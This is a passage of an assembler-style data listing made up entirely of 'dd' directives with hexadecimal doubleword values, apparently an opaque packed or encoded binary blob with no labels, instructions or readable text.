		dd 6418A574h, 0A225D41h, 45505954h, 37358138h, 0CB2F2220h
		dd 634AABA6h, 1FD4C6E8h, 0D06CFD4Ah, 7C5C93F1h,	48493312h
		dd 7E040B52h, 0A9FD2B65h, 0CC539530h, 0F04F6594h, 6B246305h
		dd 6414D846h, 59531419h, 6833CC18h, 2734B955h, 52E333D8h
		dd 0C6E69BAh, 238CB08Bh, 99318A33h, 0D0B677E4h,	35B2E03Ah
		dd 4B410AD0h, 48737CF5h, 6AF0202Ch, 6030152Ch, 77997DDEh
		dd 0DA6A2E6Eh, 62724982h, 680D586Fh, 0CF6F4374h, 2489D6EAh
		dd 0D6E0DA2Eh, 39E38F12h, 3B044726h, 3AB94FC2h,	433D64DFh
		dd 3E594B4Fh, 6D62989Dh, 8F424879h, 0D7431E64h,	692DF77Bh
		dd 0C0998D0Fh, 3F7F076Ch, 32126314h, 4B73132Ch,	39124838h
		dd 0A073783Dh, 0CF303DF6h, 12FB7058h, 9A251E42h, 67380A7Ch
		dd 9396C8BFh, 639634EEh, 0A244C12h, 2932DF67h, 0D3410469h
		dd 26107076h, 7A516152h, 368326A6h, 447F5544h, 33454EFh
		dd 544D4703h, 58A9224Bh, 0D5CC2D3Ch, 0A866691Ch, 0A51A87D2h
		dd 532A837Ch, 26144FFBh, 775BF443h, 4D5A972Eh, 0A3F5719Fh
		dd 0DC23D5F0h, 0B0FFB87Dh, 0D9FAE7C8h, 2641A97h, 0CD08FF8Dh
		dd 0A202BB4Dh, 8415E179h, 42CDAFD7h, 0F32F719Ch, 58CD657Eh
		dd 6D61B6D3h, 0F4B8CBCh, 8F2FE97Bh, 49DD9759h, 46A87022h
		dd 66A66299h, 0CC2C9B49h, 656BDCD1h, 2FF9A73Bh,	0DAB8D32Ch
		dd 57145017h, 0A9FFE740h, 84CA9466h, 0ABE4BD11h, 0B3F5E4B5h
		dd 0D9043498h, 5C089938h, 0B12B460Bh, 692302EFh, 24286051h
		dd 1B34CBB1h, 0EB48DDBBh, 0B27285B4h, 863C8B88h, 0D61C3EFBh
		dd 4F7DC00Ch, 0A2B0534Ch, 223D4E0Eh, 3C3E4333h,	682C7448h
		dd 3B1B2A2Fh, 0E6022D2h, 454C4241h, 4FC00AABh, 9AA5944h
		dd 4C4D3D40h, 504C48F3h, 923ED09Ch, 93224753h, 43809B3Ah
		dd 639F7F15h, 5C25654Ch, 286D052Dh, 0AF32DD30h,	9307D80Fh
		dd 9929140Ah, 477E64B4h, 0AF495799h, 2097488Ah,	0F988AF2h
		dd 6D8494A5h, 9143C9Ah,	0E758252Fh, 472A4C3Eh, 67D2C9C7h
		dd 0E2335908h, 34B66B64h, 4AE1D78Ch, 0BC41CF54h, 8B185238h
		dd 73CD822Eh, 3B9BC126h, 0F0461F5Ah, 0B8F7CCD1h, 0E8A3CBE8h
		dd 0D80EDECDh, 0D6A72DACh, 7378C0C8h, 0A1BAAD2Fh, 3932C2D8h
		dd 911F341Ah, 184DBD4Ch, 41A768B4h, 451930FDh, 1A466Ah
		dd 3C7C81DCh, 0BB242AA9h, 64CA32B1h, 34064C2Fh,	52E320F4h
		dd 6AD3A0Bh, 4D41C073h,	0FF0991DBh, 90CDBA08h, 0A17919EDh
		dd 5042C16Ch, 3DB15961h, 0F5C79042h, 0D3580D2Ah, 31C95869h
		dd 0DF562B67h, 0F88E8764h, 9428CBB4h, 0E52EADB7h, 90B95E7Eh
		dd 0D322D627h, 0E9AD1420h, 986A5D5Ah, 0B620ECB5h, 49583179h
		dd 58B25865h, 45269228h, 64558A20h, 0AD2058B1h,	3C685237h
		dd 52E5309Ch, 0B4CE3C2Dh, 414510C5h, 96497B23h,	343F8D4Ch
		dd 19EADD27h, 49F23725h, 583AF5F8h, 99D2965Ch, 520AC856h
		dd 0E81D654Fh, 59B51D2Ah, 0AF954B8Bh, 5B50A99h,	0B86B04C0h
		dd 8544B5DDh, 16D538B4h, 0B429CA2Ch, 0A7745038h, 70E96951h
		dd 68BC7366h, 0FAAD5684h, 9C79D1DCh, 4521012Ah,	1512E64Eh
		dd 0A2641450h, 0B9F8D0AAh, 6837B0A5h, 667491ADh, 39E3F4FBh
		dd 6F2D283Fh, 0EB623586h, 6F077097h, 63A02075h,	29216E61h
		dd 7F5250A5h, 64E9C017h, 0AD489620h, 3331B402h,	449538DEh
		dd 0B801D00Ah, 0B609C287h, 407E4033h, 343C07D2h, 0B8D75318h
		dd 1BD21D4h, 0B13F31F1h, 0A79A343h, 17001A1h, 0CB3CA504h
		dd 0A366D42h, 74C27887h, 4821C2Fh, 0AB48CA7Ch, 3CC80AA1h
		dd 0F53C427Eh, 0E50A2350h, 3C432C6Ah, 0A9C39B2h, 8BC50185h
		dd 544C3C2Bh, 0A1E7732Bh, 0D0F0230Ah, 46852DD1h, 24D00631h
		dd 3C3EF40Ah, 0E33E2111h, 71D6106Dh, 0A40AD06Ch, 9918012Eh
		dd 4EC70805h, 0A7203CADh, 96316E39h, 301A626Dh,	22B33D78h
		dd 50FF233Ch, 6C12E1C9h, 8174D924h, 0B0A5D52h, 22A8601h
		dd 528F2608h, 7809F21Ch, 0A1C80EAh, 50C60185h, 48D62909h
		dd 0A1EDAB4h, 0D6422CADh, 0E6211548h, 0E06AFAA3h, 2CF0D5D4h
		dd 9567FAA9h, 9652D23Dh, 20C5B0B3h, 1666C554h, 0F1309514h
		dd 9D663A87h, 2C11810Fh, 0A9A47072h, 96385869h,	781F232Ah
		dd 0A06F5370h, 92DD53D8h, 673B37Bh, 387C4263h, 27D753BCh
		dd 0FF795427h, 4A2E7D11h, 5643E234h, 325FC988h,	5678DB3Bh
		dd 656B27B6h, 0FC486871h, 6C4D31B7h, 35B8E154h,	85D56FCEh
		dd 27B5E8D6h, 8067962Ch, 962E5C12h, 962155A0h, 0C8488F7Eh
		dd 2E8BED96h, 4A500372h, 5DBD9B38h, 1499FBC8h, 35A53E52h
		dd 9AD25C2Ch, 383BE548h, 0A2424891h, 0B5386EAFh, 142E9203h
		dd 2C8A8795h, 6FC8A459h, 0DFCC992h, 0A5400E9Fh,	938DC734h
		dd 23B6437Ch, 2D627512h, 50D053A3h, 20D741AEh, 68557321h
		dd 90F31EDh, 66129E58h,	9F2246ADh, 1675A006h, 27E15297h
		dd 8312666Fh, 2E524B44h, 3E2AFDA8h, 0AB509043h,	1AADF443h
		dd 8EAEB5A0h, 0D4632752h
		dd 27B4C8CCh, 8091F66Ch, 8DD64E7Bh, 0CDF01F57h,	0FB35A263h
		dd 3BF4F00Ah, 40432950h, 0AFDD6527h, 0FF2B7851h, 5A445969h
		dd 6148A837h, 0D4DF5652h, 47F3B08Dh, 69F4AEC6h,	74B53D58h
		dd 9976D8B1h, 7CF04A98h, 0BD724885h, 5650A19Dh,	15DA9DADh
		dd 80156B58h, 7AB450A1h, 0D996E82Fh, 47EF0E00h,	2F0B41A2h
		dd 0F84B5AA3h, 5842AB30h, 96AF6CBDh, 0E72F67DDh, 502BE438h
		dd 55BEF95Bh, 0AF653A41h, 0EC4BA7B6h, 46355EAEh, 6927A2BDh
		dd 212528C6h, 7F65123Dh, 2AF8D469h, 20F037C3h, 479FD809h
		dd 0B0808CDCh, 9CAA421h, 74D91894h, 5C247012h, 478E387Ch
		dd 0B808C82Ch, 8F47EC44h, 0C821D88Ch, 18AC09CAh, 221468D9h
		dd 18965490h, 89280244h, 0FC098A1Ch, 0C8D0188Eh, 5630A48Eh
		dd 7CC818B0h, 4C7C64E4h, 0C434478Eh, 0EE178DF8h, 188AF327h
		dd 9C1CB0D1h, 0C850918Fh, 8CE0F830h, 8FB0788Ch,	60C87411h
		dd 181C28F9h, 8BC8888Fh, 0F18898C7h, 8F381C58h,	0E8C40891h
		dd 46AC788Ah, 0E498238Ah, 3E2C7250h, 1E89D823h,	58C423A8h
		dd 203E2C72h, 0E46488ECh, 1850C409h, 30A018E7h,	0C8186456h
		dd 87F4E218h, 87C0233Ch, 18F7B411h, 407C74E4h, 0DC34478Eh
		dd 86F48823h, 8C86B8F0h, 68C8A447h, 247C54E4h, 5628448Ah
		dd 0E8C41808h, 9E00C85h, 181C8ABCh, 8F79A047h, 3CC86091h
		dd 201C24F9h, 1004918Fh, 0EC3A84F4h, 21B88C47h,	9C09CAB4h
		dd 1260D918h, 4C2C2454h, 8A08091Ch, 83E41802h, 4409D806h
		dd 0AC89B4C4h, 0E6183914h, 231F7839h, 43409148h, 0C1AAE401h
		dd 9E3D338Dh, 5254E11h,	0C8AA7757h, 3BF92011h, 63E08952h
		dd 0B00FBD48h, 0DBAB27FEh, 55E98C2Fh, 20CE33D8h, 296B6561h
		dd 35323832h, 6192531Dh, 39455DECh, 0E0A66BADh,	29547669h
		dd 39843134h, 630C776Eh, 2E1A6B64h, 52B86EDCh, 2E28F644h
		dd 0C8FA6F4Ch, 92531B20h, 0F20C77DBh, 22425C65h, 4E08A157h
		dd 35CA97DBh, 6D24075Ah, 4CDD6B87h, 0EDAC79DBh,	7033C9CFh
		dd 0DD3762C8h, 73610C28h, 0CFF96D58h, 326C80B6h, 346C91DFh
		dd 49C96964h, 1DC24698h, 0DBEAE3DDh, 2DE78F49h,	73DF44D7h
		dd 0FF4849A4h, 213B69D5h, 2C6E4990h, 6AFB7C5Fh,	7C0AA0A5h
		dd 9C52B85Bh, 0F7C3FAA5h, 9AE7484Bh, 0DCB38F7h,	6E322605h
		dd 3C72FE4Dh, 88321342h, 58A18C18h, 50D24946h, 0AB205675h
		dd 6B9E3E12h, 0F0385CA9h, 18D66843h, 0C4FE52ABh, 4E8EF004h
		dd 626A757Ch, 54D92012h, 6C95832Bh, 0D664683Ch,	4F5C542Ah
		dd 8E205852h, 0C7736D57h, 164041FBh, 0F7CCA1AFh, 18790483h
		dd 0C9757127h, 0BF2C52B9h, 9CC64128h, 85742003h, 0D221683Ch
		dd 4023443Dh, 53C1D7Ah,	25626954h, 0FA105FDFh, 21ECA570h
		dd 29347248h, 0E9FF5279h, 0A8753162h, 8DAB7B1Ah, 20208D97h
		dd 89986E1Fh, 0AB42D6FDh, 7B833C14h, 3BD6A8ECh,	0D9BC5A6Dh
		dd 0B969B79Eh, 41309EACh, 4E455603h, 0A9494853h, 3423444Ch
		dd 0E06612Fh, 2BED8772h, 29B01957h, 8980A733h, 2EE36C45h
		dd 0BA8EE9C7h, 8466C6D4h, 0ADED2073h, 0D54193A6h, 5C37372Ah
		dd 50B49FC8h, 0CE37CEADh, 4C48A170h, 480B965Dh,	8E8D5EA6h
		dd 0C3B94023h, 3916CEF9h, 41294946h, 55404881h,	41A32FA3h
		dd 0D3391123h, 14CEE940h, 0E26FD7A1h, 2F3AF441h, 0AF6BEB37h
		dd 7A057412h, 455E6995h, 367669CDh, 47E35846h, 53B34DCBh
		dd 294624CDh, 5E2DE945h, 58704646h, 6458796Bh, 649191EAh
		dd 0AA33A15h, 0A132B54Eh, 8D566810h, 0C83D213Eh, 40B07460h
		dd 50438397h, 9A73F375h, 0A584CE69h, 0FE6C2178h, 4D9A4A8Dh
		dd 2CEB2B26h, 0B66E30B6h, 3F86A6ADh, 7B4D6937h,	57500B5Fh
		dd 193A6885h, 0D368BC35h, 6C9564EAh, 36D24EE8h,	234C854Dh
		dd 0F07CA3E5h, 0DC827242h, 75182A10h, 804AE167h, 52500EBDh
		dd 0F9849168h, 557840A1h, 0D75A24A6h, 53976A66h, 944C246Ch
		dd 47AF5C73h, 0D750D136h, 473A2C3Ah, 6C53CAFEh,	2DA15D5Ch
		dd 4A1753A1h, 41EEC5B1h, 9FA66F26h, 3A37095Ah, 664A78C6h
		dd 1D09B7C7h, 0D2424808h, 60844114h, 266FB08Fh,	49105A28h
		dd 9C48416Fh, 7E702929h, 51685285h, 94503A52h, 6C422531h
		dd 2C228BD6h, 0FE685726h, 0AB606514h, 49D03246h, 880F42C9h
		dd 2D666499h, 56201B48h, 886EEA0Ch, 21574CF6h, 50155236h
		dd 34393182h, 0D92ED032h, 0A4749688h, 0EF2CB0EAh, 35896E16h
		dd 8C49E3EFh, 7DE4188Eh, 91510E52h, 3352AC80h, 5416616Fh
		dd 4210EDAFh, 70B529D0h, 1DB154C5h, 32744512h, 2AA3B445h
		dd 21DFD0C8h, 66461A4Fh, 0BA586663h, 577D9FDDh,	0E744B348h
		dd 701A777Bh, 391EC4EAh, 49394C84h, 32267F47h, 7693453Ah
		dd 3C53C6D3h, 9CD66B59h, 0ED4F21D1h, 59BF7D1Ah,	6E550BE9h
		dd 24AA727Ah, 4F3CC256h, 8E923152h, 8C309634h, 2C7F9E21h
		dd 5F82513h, 0B25C792Dh, 7119C443h, 5595A070h, 8732A454h
		dd 6A33644Ch, 0DD4B33C8h, 0EE9FB496h, 20506FCFh, 9637504h
		dd 86C8E449h, 0D029FB0Eh, 0A83577A4h, 84E616EFh, 0A58FA85Bh
		dd 9E6328B7h, 0E625664Fh, 0B4F4526Eh, 84CC73B0h, 7781BD13h
		dd 0F6F179FCh, 38C847D3h, 4528D456h, 0B805D55Fh, 9E4C8FA9h
		dd 66644E32h, 2E4D5C92h, 0AE6D3793h, 2E4DBEBEh,	0E5048541h
		dd 0DB723C92h, 8770A3D6h, 4B306433h, 49ABB177h,	724D5EB1h
		dd 3C293179h, 1C634BF7h, 6B76F870h, 0CF794365h,	7F572F4Ah
		dd 35384412h, 2AA7B947h, 485DCCD2h, 2D1D6622h, 4026694Ch
		dd 0AED656D9h, 0D11BD5D0h, 7547A1B1h, 4172EAE2h, 5F336828h
		dd 0F3739865h, 903C47F8h, 0B4399027h, 414711C8h, 0A1A6056Ch
		dd 4921A46Ch, 0AD8A6717h, 75E2B848h, 6E200D49h,	0A04146F3h
		dd 0BD70331Eh, 2D133453h, 0A6C49E64h, 0D2298D98h, 3F50FF30h
		dd 2F0DB9C0h, 0C41A2E09h, 7870505Fh, 6C82536h, 0D007088Ah
		dd 3A893C44h, 2DEE6595h, 15A494CDh, 956552A5h, 5CCBDF45h
		dd 0FCCCB42Eh, 340EB948h, 0A42FB9D2h, 0B4BA29AAh, 48349CE5h
		dd 2AE1942Dh, 82BE257Fh, 0BA8B47B1h, 0A7A49377h, 5BFFDE6Dh
		dd 8A4AAC12h, 776B1C41h, 12B6F91Bh, 93EE7ABFh, 0E73637BDh
		dd 0D4AD9876h, 97F5AF2h, 0DBFFA960h, 2C1021D5h,	34F6AD02h
		dd 0DEAD10E8h, 0CC114822h, 786B4521h, 8EF07856h, 5D59B730h
		dd 0A1B4F6ADh, 9591A150h, 27DC5343h, 58F326F0h,	484F5372h
		dd 4EC506ACh, 66AB096Fh, 0A87F8892h, 0C22D5265h, 73B91118h
		dd 2D311044h, 0B4964E57h, 7CCCED43h, 8E124597h,	18145732h
		dd 0EE8C41E8h, 2D4FE364h, 52A61442h, 45056D58h,	0BAB36F60h
		dd 4769493Fh, 9AF599ABh, 1151A8B0h, 62615484h, 5343008Dh
		dd 9D3FC768h, 0A230C87Bh, 0DD28C244h, 0E19DD3C4h, 92E26FF4h
		dd 0C9A875E7h, 415F8A3Eh, 31C87E20h, 0B5462364h, 95DDBFBEh
		dd 5A2AB33Eh, 0CC4ABAB9h, 6A9F74D8h, 6E831117h,	101D0331h
		dd 230DBCA6h, 8EB3220Ch, 29D78A18h, 85E4F10Ch, 33444F54h
		dd 0D0424144h, 0A4EC5B58h, 532A14D1h, 1E52BD86h, 6268EE98h
		dd 896A146Fh, 5D504234h, 8EC3B610h, 0DF2A820Ch,	0A4B83208h
		dd 6B497130h, 0B008FBA1h, 6FA2CA45h, 1ED7CB10h,	0F510823Ah
		dd 40AA2645h, 833C21D1h, 4C7A6F4Dh, 2F16B528h, 13081334h
		dd 69DCED06h, 95925E4Ch, 8F4C4829h, 4C1EDB9Ah, 71BD1486h
		dd 5B2868A6h, 557EF0ACh, 41526CF4h, 0D0F9D314h,	14431343h
		dd 9DE424D0h, 48241309h
		dd 6BCCFAF7h, 14237EDBh, 148734A0h, 47153C23h, 5D4CD43Fh
		dd 783D5063h, 714D1CADh, 0B46E1C2Fh, 0BBFF3437h, 0DFA8C825h
		dd 35C32DDCh, 886DC46Bh, 681B0C6Ah, 7962A134h, 281BE347h
		dd 28521040h, 2CE8101Eh, 0C2242C8h, 70FD19F3h, 9F616264h
		dd 10D73464h, 0DE709DF3h, 627AAC39h, 586C6962h,	765BAB9Ah
		dd 0C644ED4h, 0F873080Ah, 0C25E7492h, 0C7E87C26h, 43E9CC3Eh
		dd 0FB732208h, 746CB407h, 8AC91010h, 0CE8A45Fh,	19FD53B7h
		dd 698F3A62h, 5D6C0AD9h, 30070DE0h, 4148537Ch, 20BC51CFh
		dd 0CAA7062h, 27EBEDF5h, 7CE8A95Ch, 1D705F1Ch, 5D494446h
		dd 20684A73h, 90FCBF2Ch, 0AE637F01h, 0EA21DEC8h, 0C49EF53h
		dd 542CA37Ah, 0F1BD7360h, 0CCB26964h, 0CE4162F5h, 0EC108474h
		dd 4758B443h, 0D477AE69h, 295024B0h, 493D7424h,	85434227h
		dd 0EF8A7236h, 0F57F1445h, 938710Bh, 484576F8h,	8CA4B6ADh
		dd 0AF77D714h, 141DE229h, 2C3164DEh, 71316467h,	5EAC6647h
		dd 5F9282ADh, 8183654Ch, 752F6469h, 791AE175h, 0ABD2B729h
		dd 8CC82894h, 7E58D053h, 0C31B7327h, 0D010664Ch, 8474D715h
		dd 1536DC64h, 7ECC9F71h, 21A6118Eh, 75820E86h, 0F85D044h
		dd 430D10A1h, 82649C4Dh, 0D25D372h, 60D66AE8h, 6B646FF2h
		dd 0BCA1502Eh, 9C676A34h, 6F4C43BCh, 1D682651h,	0EAB91713h
		dd 32D7EB50h, 54352841h, 0ABB48825h, 466E6B69h,	3243A319h
		dd 12DF216Bh, 0D70F2BC9h, 6A305988h, 4D12A1EEh,	0B4435981h
		dd 34502283h, 5B0E4367h, 0BB76DCA4h, 0AD586A88h, 0F3B2A20Eh
		dd 0B8F95F19h, 0A11299Ah, 9DC23F54h, 8124AD41h,	19698E36h
		dd 113B541Ah, 69B40365h, 0CB733132h, 6C9984CAh,	4C8F0AA8h
		dd 7215DB62h, 0E474064h, 69684437h, 23853C14h, 6CBD5EB8h
		dd 0E0D48291h, 1EDC0B91h, 489BA946h, 4B682C8Dh,	0E18A9CDDh
		dd 0CE92507Bh, 22EC53A4h, 0A44E72BAh, 4B9C79BDh, 0B5FEB5DFh
		dd 348FFA38h, 7B458DD3h, 754E2BB3h, 0AFD9EA1Dh,	0D84FF7C2h
		dd 52565C2Fh, 1B812808h, 284EBF6Bh, 915392F8h, 0D04DF85Eh
		dd 0AFC5EA2h, 953B799Ah, 2BFC225Eh, 21D01043h, 1292BDD5h
		dd 0C287120Fh, 530270C1h, 0DD40CB6Eh, 138834BFh, 0A9F56694h
		dd 0D0356AF5h, 476C32C2h, 1C9E27CCh, 6E7ADF81h,	4CCE3CE7h
		dd 0C8B4363Fh, 0A0BE45B7h, 39414F34h, 0EE297BC8h, 2785F63Bh
		dd 1A70884Fh, 2D534F5Ch, 40331E5Ch, 725270F0h, 7949F21Ah
		dd 0F235C800h, 1A85EC58h, 34E34EE4h, 0B5E43491h, 89180B20h
		dd 0A12C6557h, 7557599Ch, 8F4E0BE8h, 0E9653447h, 6B02847Fh
		dd 438D5980h, 474BB2E9h, 0CE34A394h, 0AF5473C9h, 707F14EDh
		dd 52496DE3h, 65445C94h, 72FD4CBFh, 12DE2E7Ah, 66CAECE4h
		dd 0AB747509h, 0DC4B1CF3h, 93BB6480h, 0B1841D73h, 0EF2F2012h
		dd 0BF74BB9Dh, 0DC40014Bh, 11666758h, 0B43A0A0Dh, 4586488Eh
		dd 969BD12h, 31589D22h,	66691631h, 1DB24DEBh, 3D7C1042h
		dd 5A686F67h, 0CE73D127h, 2E17A0ACh, 42BA624Ah,	5C3A630Ch
		dd 70290470h, 60A10F6Fh, 0A0E45C5h, 47CF52h, 34544944h
		dd 4E256A3Eh, 5CA63A8Ah, 0A1452C78h, 3E293D1Ch,	80405A15h
		dd 4B79485Bh, 4C5F5903h, 0A741434Fh, 0DF4E4D67h, 0EB4E498Fh
		dd 0BBCA7C5Ch, 0ABA957Dh, 253D80E5h, 0CCBF3B5Ch, 544204D1h
		dd 850BD5FEh, 98A2F989h, 5D975D73h, 0EBFC2296h,	42B7F493h
		dd 259428BAh, 5C3D228Eh, 0AA9D3ED5h, 64DEC893h,	19D1417Bh
		dd 4428A999h, 642D8D90h, 3A2984FAh, 34150130h, 77C2AA99h
		dd 19526175h, 0BD955EFBh, 0A6658E0Bh, 0CF913D31h, 695E5FB7h
		dd 8E21DF8Fh, 5446F0DBh, 0F352F857h, 4F77382Fh,	808744B0h
		dd 616EC4EEh, 4F1392F2h, 4E364F4Dh, 78B925F5h, 0A299D624h
		dd 0CCD42E0Fh, 0DE0B90AEh, 61734C05h, 9C7BB73Fh, 0A1DFA033h
		dd 56946E3Dh, 0F1519779h, 312B435Fh, 0BA27559Bh, 0A1C4507Dh
		dd 9D6564E6h, 417424B1h, 4C769E4Eh, 62832775h, 26486F63h
		dd 0D4544346h, 0DA0A304Ch, 9481BD06h, 0B87DC064h, 6DBE8AA5h
		dd 61FC561Fh, 143A2F9Dh, 7057DF93h, 41855C2Ah, 31CB1375h
		dd 226B57EAh, 327AA763h, 85F68CF6h, 0E0177235h,	70D554D9h
		dd 35A294E3h, 0B2871ADh, 0F7997DA2h, 971DD0FAh,	4264EF83h
		dd 69B5C676h, 22274D5h,	505949FCh, 7515DF30h, 0E8344281h
		dd 9F6DE844h, 0DC8BD208h, 4C64939Eh, 241AC6B1h,	2497C492h
		dd 0E1DC2547h, 0FC194481h, 1A2E938Eh, 49872892h, 504D4309h
		dd 0C84ADC52h, 60A55FB9h, 0CD574758h, 9765740Ch, 90A5660Ch
		dd 44A2710Bh, 1D5CBC4Ah, 47963421h, 6C0AF985h, 0EF744279h
		dd 2993B35Eh, 0FCF37E89h, 747D7329h, 778F229Dh,	1ED0DE55h
		dd 2BF96D61h, 170A922Dh, 93C34976h, 7AEAE1B6h, 631E1094h
		dd 17D51AAFh, 43544075h, 33043150h, 704F3032h, 33C849CAh
		dd 0F84B7B7Ch, 0DAAAA270h, 0F76DE87Dh, 3232334Bh, 9E9F388Ch
		dd 0A8244293h, 340FCE34h, 4B78326Fh, 37A2D132h,	453722ADh
		dd 9008783Bh, 894EBED4h, 0D26B0A9Bh, 0A236160Ah, 65E9B77Eh
		dd 6B6DD52Fh, 4D93281Dh, 5F756A4Fh, 3BD4C53h, 0A7F91252h
		dd 34F14557h, 31353C90h, 5358B293h, 416E3C79h, 96296BA5h
		dd 3210D617h, 93157DF9h, 0DCF8C264h, 79294996h,	5040979Fh
		dd 2C55544Dh, 0A6184842h, 4692754Ah, 0E2C48357h, 0BA67518Ch
		dd 0A75695BEh, 78FE0B2Fh, 91408792h, 4A38A934h,	0AF297A6Bh
		dd 0BFD1E655h, 3C8DEDC6h, 38592528h, 7833A9C6h,	9579D249h
		dd 3BE8C3FCh, 0ADED777Bh, 25BAE83Bh, 3785A84Eh,	4DC5B1D2h
		dd 0FC697597h, 0E2275D21h, 0EB7DCF32h, 0A43E37FEh, 9F5FCB73h
		dd 52701249h, 2A00121Ah, 683F4F30h, 6E4D656Fh, 0FCC1444Ah
		dd 0F5C34B81h, 159DE44Fh, 25F9FD72h, 5DFF492Dh,	4A092D85h
		dd 3AB220C4h, 4B9563F9h, 61529A07h, 8758C67Bh, 6D5D7B73h
		dd 0BB38D00Ch, 6920934Fh, 1D4B42DAh, 4767F20Dh,	3021FA72h
		dd 2A74162Fh, 496D58CFh, 0E82AB9B0h, 48205786h,	0AE8BB4AFh
		dd 4ACACFE4h, 70F0D659h, 0E4B7FAA3h, 4D093E61h,	64757861h
		dd 48F8BC6Ah, 2B5725C1h, 14B31D5Eh, 9FD4032h, 1A3E19BBh
		dd 0EB04135h, 0A94F8B35h, 9F5A5E00h, 1AB86943h,	0BA437947h
		dd 0C86B8BF4h, 0F0B17C31h, 32D9EEA3h, 0B53AB5DEh, 99F48F6Ch
		dd 56DE3802h, 0DE8ADC14h, 85E34655h, 4E44D06Bh,	3A3D534Bh
		dd 0B6207E20h, 37288094h, 31333A29h, 36E2C68h, 0C0F0869h
		dd 0C8344376h, 39FC7B38h, 82CF12FEh, 95C7D2E9h,	547189E6h
		dd 0F2BE4C5Dh, 0CA01CF34h, 4F702556h, 64C7B99h,	0B6E5B49h
		dd 5D896620h, 499F2D09h, 0BDE6DCE9h, 92464856h,	0E05E8B93h
		dd 0D3647055h, 31998A5Eh, 206C9F4Ch, 6AB3824Eh,	0E26E44BFh
		dd 47C94E8Bh, 30A5710Bh, 4D7049B7h, 0C71EECDAh,	0D24E596Fh
		dd 2DDF6688h, 0ED0B5E62h, 4444E706h, 1D2D4094h,	0FBE7E92Dh
		dd 0E91B9DA5h, 5A597E92h, 851C462Dh, 0B664D273h, 0F41F1ED3h
		dd 85786252h, 9FDEF937h, 0D2489B31h, 9395B8D5h,	383B382Bh
		dd 5053F243h, 29A19E0Dh, 6CBC7EE9h, 50D28E27h, 986368EEh
		dd 4EF54494h, 0EA649110h, 761A625Ch, 0FA552453h, 43CA857Bh
		dd 3F953835h, 94514B38h, 344BAE38h, 42336DC8h, 0BCCF3269h
		dd 9DB095E9h, 0F406E433h, 0D6FF6A95h, 0A03C2F0Ah, 34623429h
		dd 9A62955Ch, 0DFBC5B63h, 6F352BAEh, 1DD3C452h,	0A5615764h
		dd 23097A0Bh, 32F31F65h
		dd 6D4C4EDFh, 0DE95A56Ch, 5A3948BFh, 0CF72DC0Fh, 2946CE2Ch
		dd 3D995B50h, 8B67DA64h, 996BF6E7h, 734C2518h, 5AB6C59Ah
		dd 35FA844Ah, 95AEA275h, 5A79AF3Ah, 3150B1A1h, 5966F639h
		dd 57F85C37h, 95DC5EB1h, 726DD5F4h, 6CBD2F26h, 5AB3B521h
		dd 905C31F2h, 0FAE187F6h, 1CF45F5Ch, 7B525543h,	25544E9Eh
		dd 5C9218F4h, 7FEAB1F8h, 4BB34E95h, 24F7A720h, 95D65B5Dh
		dd 739737C5h, 5F3157C0h, 19179D30h, 40E9359Dh, 523D8776h
		dd 5384F715h, 81BF4154h, 0D9572F78h, 0C3D6E649h, 0F7531CECh
		dd 0BC5F255Ah, 0E3124298h, 0A7104B30h, 0A1B992B4h, 0A96E6417h
		dd 5F4EF243h, 62084FCDh, 7276E979h, 7438F64Bh, 55644887h
		dd 4E62B7BFh, 97B9FF16h, 7FBFA89Fh, 0F5799750h,	0AF442E14h
		dd 0AA7B2F47h, 74D22183h, 804E2E79h, 0D5F2AAB4h, 0C8DD6724h
		dd 47F5524Ah, 427569B4h, 0C01FFDC5h, 183B5DA5h,	57BA0B4Ah
		dd 4240F916h, 0E92AA940h, 3D69B455h, 750A3C0Eh,	0FE7B7064h
		dd 52937495h, 7BC84015h, 945397DEh, 150D896Eh, 0F45CA750h
		dd 636B5023h, 5564EA9Bh, 0F697A464h, 98DCEBA0h,	0BC0A7066h
		dd 0C42E44E6h, 29447E5Ch, 56A72B50h, 0FECB3A27h, 5EE8C875h
		dd 55807468h, 0C82145E8h, 0AEEFBD5Eh, 0F44F498Bh, 488F7EAAh
		dd 0C94FDC4Bh, 0DBE85BF6h, 51B89BA4h, 0FF5B7A28h, 8266486h
		dd 96D4E68h, 6EEF85Bh, 4F464E49h, 43F6B65Dh, 0F555033h
		dd 3436F825h, 484D0D75h, 3E222E7Ah, 110062A1h, 0AA424B73h
		dd 6C910293h, 660C912Ch, 3D6BC928h, 1F8A8CFAh, 1B8C1D14h
		dd 32534F34h, 92BD29EEh, 26AB282Fh, 42284425h, 7C81E075h
		dd 5849A729h, 5089F23h,	481DB241h, 123DB25Dh, 0C3137551h
		dd 46B92A4Ah, 1DB1A1D2h, 63E52F29h, 732C0C19h, 55280C47h
		dd 970E8EE1h, 373D28F1h, 79E4024Dh, 9E52F850h, 25DFB94Eh
		dd 0BCEDF972h, 49DB6836h, 86E0FA9Dh, 218DB6Dh, 8071FA84h
		dd 8BE5058h, 4D204B20h,	38392045h, 11544E32h, 975B0735h
		dd 2C14A945h, 3CAC4295h, 0BF4958ACh, 3BCE645Bh,	0E9442D3h
		dd 0E412F4Eh, 48B87D4Ch, 2D2E5039h, 0D2196397h,	4914FF6Fh
		dd 209964E6h, 972BDF7Ah, 0BFD6C5FCh, 0D625E147h, 22F3AFA7h
		dd 0AB442E14h, 0FAE5AE48h, 0DAEBCD24h, 0E98442EDh, 83B2FD2Ah
		dd 464C5255h, 65ADB860h, 2F72FDF1h, 0A9EAB6CDh,	1F2AB244h
		dd 971EDC4h, 8488A118h,	532F2A8Eh, 34EED85Eh, 0E00B3D46h
		dd 0C45B4F2Dh, 0ADC9D4D6h, 0C95D3E0Bh, 29EC4BBCh, 552643Ch
		dd 40C3E84Bh, 5AE3A09h,	0E9A35D4Ah, 35310307h, 0AE34342Ch
		dd 0F033DA1Eh, 2E32E920h, 28259CB2h, 731BB85Eh,	54174C1Bh
		dd 3166B948h, 45AA17BBh, 8BFD4F0h, 9554AC9Dh, 8254A554h
		dd 143E5782h, 4241308Fh, 39616765h, 34F0C87Ah, 8A9C37Ch
		dd 24011264h, 0E23C509Ch, 0CD5BE264h, 22C7C840h, 910AB308h
		dd 0B7B8D363h, 4842B491h, 292223FDh, 1DD24572h,	6D7EE944h
		dd 7C1F6C6Dh, 0AC2953CAh, 7B2EC5F0h, 82EC4E2Ch,	7BB22AA9h
		dd 0B734BAD2h, 1DA580C9h, 3F7ACFFEh, 0AE551354h, 0B84379DAh
		dd 2E724DB9h, 1C5ED836h, 71434401h, 0DE4E4526h,	696A7D8Eh
		dd 8A014403h, 0B359B434h, 0A6456F2Eh, 35AEAE94h, 8FAC3E51h
